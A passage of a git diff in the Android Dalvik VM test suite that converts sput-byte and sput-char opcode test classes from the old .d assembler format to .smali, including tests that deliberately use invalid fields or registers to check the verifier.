-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_22.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.smali
new file mode 100644
index 0000000..50d794a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_22.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.d
deleted file mode 100644
index a34f665..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_23.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_23
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.smali
new file mode 100644
index 0000000..3a500b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_23.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_23;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.d
deleted file mode 100644
index 07265af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_24.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_24
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.smali
new file mode 100644
index 0000000..c2cc385
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_24.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.d
deleted file mode 100644
index 128d14b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_3.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_3
-.super java/lang/Object
-
-.field public static st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_3.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.smali
new file mode 100644
index 0000000..1f07f16
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_3.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_3;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.d
deleted file mode 100644
index fc64b62..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_4.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_4
-.super java/lang/Object
-
-.field public static st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-byte v3, dot.junit.opcodes.sput_byte.d.T_sput_byte_4.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.smali
new file mode 100644
index 0000000..c2d2de5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_4.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-byte v3, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_4;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.d
deleted file mode 100644
index 8e90c22..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_7.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_7
-.super java/lang/Object
-
-.field public st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_7.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.smali
new file mode 100644
index 0000000..df42410
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_7.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_7;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.d
deleted file mode 100644
index f4a000f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_8.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-byte v1, dot.junit.opcodes.sput_byte.TestStubs.TestStubField B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.smali
new file mode 100644
index 0000000..a85cdb3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_8.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/TestStubs;->TestStubField:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.d
deleted file mode 100644
index 59ecb38..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_9.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_9
-.super java/lang/Object
-
-.field public st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_9noclass.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.smali
new file mode 100644
index 0000000..f6ca1c3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_9.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_9noclass;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.d
deleted file mode 100644
index 8603349..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_1.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_1
-.super java/lang/Object
-
-.field public static st_i1 C
-.field protected static st_p1 C
-.field private static st_pvt1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()C
-.limit regs 2
-
-       sget-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_1.st_pvt1 C
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_1.st_i1 C
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.smali
new file mode 100644
index 0000000..398ca8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_1.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+.field protected static st_p1:C
+.field private static st_pvt1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()C
+.registers 2
+
+       sget-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_pvt1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_i1:C
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.d
deleted file mode 100644
index ff47c26..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_10.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_10
-.super java/lang/Object
-
-.field public st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_10.st_i1N C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.smali
new file mode 100644
index 0000000..1b8d905
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_10.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_10;->st_i1N:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.d
deleted file mode 100644
index 6e23f44..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_11.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-char v1, dot.junit.opcodes.sput_char.TestStubs.TestStubFieldFinal C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.smali
new file mode 100644
index 0000000..b263b78
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_11.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/TestStubs;->TestStubFieldFinal:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.d
deleted file mode 100644
index 8cb984f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_12.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_12
-.super java/lang/Object
-
-.field public static final st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_12.st_i1 C
-       return-void
-.end method
-
-
